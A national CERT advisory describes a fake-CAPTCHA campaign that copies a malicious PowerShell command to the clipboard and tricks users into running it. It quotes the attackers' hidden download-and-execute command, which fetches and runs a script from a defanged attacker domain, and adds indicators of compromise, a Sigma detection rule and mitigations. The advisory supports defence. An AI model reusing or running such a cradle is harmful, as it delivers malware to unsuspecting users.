# NCA-19.102124 – National CERT Advisory: Fake CAPTCHA Pages Leveraging PowerShell for Malware Delivery

## Introduction

Recent threat intelligence by National CERT has brought to light a sophisticated cyber-attack targeting users within the region. Threat actors are employing fake CAPTCHA verification pages to deceive users into installing malware by exploiting social engineering techniques. Users are often redirected to malicious websites while seeking free content, where they encounter a fraudulent CAPTCHA page. Upon interacting with the CAPTCHA, users inadvertently execute malicious scripts, compromising their systems. This advisory outlines the technical details of the attack, key indicators of compromise (IOCs), and recommended security measures for organizations to protect their networks and systems.

## Campaign Details

The threat originates from fake CAPTCHA pages designed to mimic legitimate verification processes. Once users interact with the fake CAPTCHA, a malicious script is copied to the victim's clipboard, and further instructions trick them into executing harmful code via the "Run" dialog box. This attack primarily leverages PowerShell to download and execute additional malicious files, potentially installing malware such as infostealers or network scanners on the victim's system. Below are the key findings:

- **Malicious Website Behavior**: Users are redirected to malicious websites offering free content (e.g., movies or media) that require CAPTCHA verification. A fake CAPTCHA verification page is displayed, and once users click the "I'm not a robot" button, a script silently copies a malicious command to the clipboard.
- **PowerShell Exploitation**: The clipboard contains a PowerShell command that, when executed, downloads additional malware from the attacker's server. The downloaded payloads can include malware that steals sensitive information or establishes a foothold within the network for further exploitation.
- **Malicious PowerShell Code**:

```
PowerShell.exe -W Hidden -command
$url = 'hxxps://finalstepgetshere[.]com/uploads/il11.txt';
 $response = Invoke-WebRequest -Uri $url -UseBasicParsing;
 $text = $response.Content; iex $text
```

- **Potential Malware**: This attack enables threat actors to install a variety of malware, including information stealers, network scanners, and other malicious tools, which allow lateral movement within the network.

## Indicators of Compromise (IOCs)

1. **Malicious URLs**:
    - hxxps://finalstepgetshere[.]com
    - hxxps://lookmovie[.]lol
    - hxxps://get-verified2[.]b-cdn[.]net/captcha-verify-v2.html
    - hxxps://myapt67.s3.amazonaws[.]com/human-verify-system.html
2. **Hashes** (SHA256):
    - 07b127b0c351547fa8ec4cac6cd5fd68dc8916dc4557ab13909ca95d53478a7d
    - 539574e6af31c459925943267001e2a9d61fb2c592762b5c4dcbedd90155d8a3

## Recommendations and Action Items

### 1. Prevention Measures

- **User Education**: Educate employees and users about this new social engineering tactic, particularly the risks associated with copying and pasting unknown commands.
- **Endpoint Protection**: Implement robust endpoint protection solutions capable of detecting and blocking PowerShell-based attacks.
- **Network Monitoring**: Continuously monitor network traffic for suspicious connections to newly registered or uncommon domains, particularly those listed in the IOCs.
- **PowerShell Logging**: Enable detailed PowerShell logging to detect unauthorized activities and monitor command executions.

### 2. Detection Measures

- Use the following Sigma rule to detect PowerShell download and execution cradles:

```yaml
title: PowerShell Download and Execution Cradles
id: 85b0b087-eddf-4a2b-b033-d771fa2b9775
logsource:
  product: windows
  category: process_creation
detection:
  selection_download:
    CommandLine|contains:
      - '.DownloadString('
      - 'Invoke-WebRequest '
  selection_iex:
    CommandLine|contains:
      - ';iex $'
      - 'Invoke-Expression'
  condition: all of selection_*
level: high
```

### 3. Incident Response and Mitigation

- **Block Malicious Domains**: Block all identified malicious domains and URLs within your organization's firewall and network gateways.
- **Implement Endpoint Detection and Response (EDR)**: Deploy EDR solutions across the organization to monitor for any suspicious activity, particularly PowerShell-related incidents.
- **Data Backup and Restoration**: Ensure regular backups of important data and test restoration capabilities to ensure business continuity in the event of a cyberattack.

### 4. Best Practices

- **Patch Management**: Ensure operating systems and applications are patched regularly, especially for known vulnerabilities that can be exploited by PowerShell or web-based attacks.
- **Restrict Privileged Access**: Limit administrative privileges based on user roles and avoid using privileged accounts for non-administrative tasks like reading emails or browsing the web.
- **Macro Security**: Disable macros from untrusted sources in Microsoft Office and ensure that only vetted macros are allowed to execute in trusted environments.
- **Multi-Factor Authentication (MFA)**: Enforce the use of MFA for remote access systems and critical applications to add an extra layer of security.
- **Application Whitelisting**: Only allow trusted applications to execute on systems to prevent unapproved or malicious programs, particularly PowerShell scripts.

This campaign emphasizes the need for heightened vigilance against social engineering techniques that exploit users' trust in familiar web interactions, such as CAPTCHA verifications. National CERT urges all organizations, particularly within the government and public sectors, to implement the security measures outlined in this advisory to protect against similar cyber threats. Regular monitoring, robust endpoint protection, and user education are critical in mitigating the risks associated with this evolving threat.